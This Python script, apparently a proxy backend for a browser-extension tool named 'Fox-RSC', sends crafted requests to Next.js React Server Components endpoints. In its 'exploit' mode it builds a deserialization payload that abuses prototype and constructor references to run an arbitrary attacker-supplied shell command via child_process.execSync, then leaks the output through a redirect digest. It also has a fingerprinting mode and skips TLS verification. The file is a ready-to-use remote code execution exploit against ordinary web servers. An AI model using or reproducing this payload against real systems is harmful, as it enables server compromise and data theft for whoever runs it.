extension_proxy.py

#!/usr/bin/env python3
"""
github.com/Tiger-Foxx
"""

from http.server import HTTPServer, BaseHTTPRequestHandler
import json
import sys
import requests
from urllib.parse import urlparse, parse_qs
import urllib3

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PORT = 8765


class ProxyHandler(BaseHTTPRequestHandler):
    def do_OPTIONS(self):
        
        self.send_response(200)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
        self.send_header('Access-Control-Allow-Headers', 'Content-Type, X-Target-URL, X-Command')
        self.end_headers()

    def do_POST(self):
        
        try:
            
            target_url = self.headers.get('X-Target-URL')
            command = self.headers.get('X-Command', '')
            action = self.headers.get('X-Action', 'fingerprint')
            
            if not target_url:
                self.send_error(400, "Missing X-Target-URL header")
                return
            
            
            content_length = int(self.headers.get('Content-Length', 0))
            body = self.rfile.read(content_length) if content_length > 0 else b''
            
            # Build payload
            if action == 'exploit':
                payload_body = self.build_rce_payload(command)
            else:
                payload_body = self.build_safe_payload()
            
            
            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Next-Action': 'x',
                'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad',
                'X-Nextjs-Request-Id': 'b5dce965',
            }
            
            response = requests.post(
                target_url,
                headers=headers,
                data=payload_body,
                timeout=10,
                verify=False,
                allow_redirects=False
            )
            
           
            result = {
                'status': response.status_code,
                'headers': dict(response.headers),
                'body': response.text[:2000],
                'command': command
            }
            
           
            self.send_response(200)
            self.send_header('Content-Type', 'application/json')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            self.wfile.write(json.dumps(result).encode())
            
        except Exception as e:

            self.send_response(500)
            self.send_header('Content-Type', 'application/json')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            self.wfile.write(json.dumps({'error': str(e)}).encode())

    def build_safe_payload(self):
        
        return b"""------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r
Content-Disposition: form-data; name="1"\r
\r
{}\r
------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r
Content-Disposition: form-data; name="0"\r
\r
["$1:aa:aa"]\r
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"""

    def build_rce_payload(self, command):

        escaped_command = command.replace('\\', '\\\\').replace("'", "\\'")
        
        prefix_payload = (
            f"var res=process.mainModule.require('child_process').execSync('{escaped_command}')"
            f".toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),"
            f"{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;`}});"
        )
          
        part0 = (
            '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
            '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"'
            + prefix_payload
            + '","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}'
        )
        
        
        try:
            import json as json_module
            json_module.loads(part0)
        except:
            pass
        
        
        payload = (
            f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
            f'Content-Disposition: form-data; name="0"\r\n\r\n'
            f"{part0}\r\n"
            f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
            f'Content-Disposition: form-data; name="1"\r\n\r\n'
            f'"$@0"\r\n'
            f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
            f'Content-Disposition: form-data; name="2"\r\n\r\n'
            f"[]\r\n"
            f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
        )
        
        return payload.encode('utf-8')

    def log_message(self, format, *args):
        """Suppress default logging"""
        pass


def main():
    print(f"""
╔═══════════════════════════════════════════════════════════╗
║              Fox-RSC Tool - Proxy Server             ║
║                     TIGER-FOXX                            ║
║                     Port: {PORT}                           ║
╚═══════════════════════════════════════════════════════════╝
""")
    
    try:
        server = HTTPServer(('localhost', PORT), ProxyHandler)
        print(f"✓ Server running on http://localhost:{PORT}")
        print(f"✓ Ready to accept connections\n")
        server.serve_forever()
    except KeyboardInterrupt:
        print("\n\n✓ Server stopped")
    except Exception as e:
        print(f"✗ Error: {e}")
        sys.exit(1)


if __name__ == "__main__":
    main()